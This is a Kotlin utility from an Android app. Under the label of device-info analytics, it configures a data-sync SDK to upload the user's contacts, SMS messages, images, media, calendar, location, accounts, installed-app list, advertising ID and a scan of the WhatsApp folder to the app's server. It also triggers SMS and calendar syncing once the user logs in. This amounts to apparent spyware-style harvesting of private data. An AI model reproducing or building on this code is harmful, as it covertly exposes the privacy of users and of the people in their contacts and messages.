package com.mofofa.maozy.utils.analytics.util

import android.app.Application
import com.mofofa.maozy.ProjectConfig
import com.mofofa.maozy.extend.toMaozyCombineMaozyUrlMaozyPath
import com.mofofa.maozy.network.ApiUrl
import com.mofofa.maozy.utils.UserStateUtil
import com.zhi.syc.data.ASBuilder
import com.zhi.syc.data.ASSycManager
import com.zhi.syc.point.ASPointBuilder
import com.zhi.syc.point.ASPointSycManager
import java.util.*

object SycDeviceUtil {

    /**
     * 初始化设备信息模块
     *
     * @param context Application
     */
    fun init(context: Application) {
        try {
            ASBuilder.setMock(false)
            ASBuilder.setLog(false)
            ASBuilder.setServerHost(ApiUrl.BASE_URL)
            ASBuilder.setPathApplist(ApiUrl.MAOZY_PATH_APPLIST.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathContactResult(ApiUrl.MAOZY_PATH_CONTACT_RESULT.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathContact(ApiUrl.MAOZY_PATH_CONTACT.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathMessage(ApiUrl.MAOZY_PATH_MESSAGE.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathDevice(ApiUrl.MAOZY_PATH_DEVICE.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathImage(ApiUrl.MAOZY_PATH_IMAGE.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathBattery(ApiUrl.MAOZY_PATH_BATTERY.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathHardware(ApiUrl.MAOZY_PATH_HARDWARE.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathStore(ApiUrl.MAOZY_PATH_STORE.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathMedia(ApiUrl.MAOZY_PATH_MEDIA.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathNetwork(ApiUrl.MAOZY_PATH_NETWORK.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathLocation(ApiUrl.MAOZY_PATH_LOCATION.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathCalendar(ApiUrl.MAOZY_PATH_CALENDAR.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathScanFilePath(ApiUrl.MAOZY_PATH_WHATSAPP_DIR.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathSettingAccount(ApiUrl.MAOZY_PATH_SETTING_ACCOUNT.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setPathAduid(ApiUrl.MAOZY_PATH_ADUID.toMaozyCombineMaozyUrlMaozyPath())
            ASBuilder.setAppid(ProjectConfig.MAOZY_Product)
            ASBuilder.setKeyProduct(ProjectConfig.MAOZY_Product)
            ASSycManager.getInstance().init(context)

            ASPointBuilder.URL_SERVER_HOST = ApiUrl.BASE_URL
            ASPointBuilder.PATH_POINT_RECORD =
                ApiUrl.MAOZY_PATH_POINT_RECORD.toMaozyCombineMaozyUrlMaozyPath()
            ASPointBuilder.KEY_PRODUCT = ProjectConfig.MAOZY_Product
            ASPointBuilder.KEY_APPID = ProjectConfig.MAOZY_Product
            ASPointBuilder.KEY_VERSION = ProjectConfig.MAOZY_Version.toString()
            ASPointSycManager.getInstance().init(context)

        } catch (e: Exception) {
            e.printStackTrace()
        }
    }

    /**
     * 保存设备 s2s信息
     */
    fun saveS2SInfo() {
        try {
            if (UserStateUtil.isMaozyDidMaozyLogin()) {
                val permissions = ArrayList<String>()
                permissions.add(android.Manifest.permission.READ_PHONE_STATE)
                permissions.add(android.Manifest.permission.READ_SMS)
                permissions.add(android.Manifest.permission.READ_CALENDAR)
                ASSycManager.getInstance()
                    .sycDataByPermissions(UserStateUtil.mMaozyToken, permissions, true)
            }
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}